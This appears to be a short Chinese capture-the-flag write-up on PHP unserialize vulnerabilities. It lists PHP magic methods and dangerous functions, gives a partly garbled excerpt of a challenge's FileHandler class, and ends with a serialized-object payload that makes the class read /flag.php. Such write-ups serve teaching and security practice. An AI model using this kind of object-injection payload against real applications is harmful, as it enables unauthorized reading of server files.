serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
#触发条件:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法.
__wakeup() //对象被序列化之后立即执行
__construct //构造函数,在实例化类的时候会自动调用#在创建对象时触发
__destruct() //析构函数,通常用来完成一些在对象销毁前的清理任务#在一个对象被销毁时调用
__toString() //需要一个对象被当做一个字符串时调用
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
exec(),passthru(),popen(),system()
file_put_contents(),file_get_contents(),unlink()
题目给了源码:
process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file\_put\_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file\_get\_contents($this->filename); } return $res; } private function output($s) { echo "\[Result\]:运行生成payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:9:"/flag.php";s:7:"content";N;}
手机扫一扫
移动阅读更方便
你可能感兴趣的文章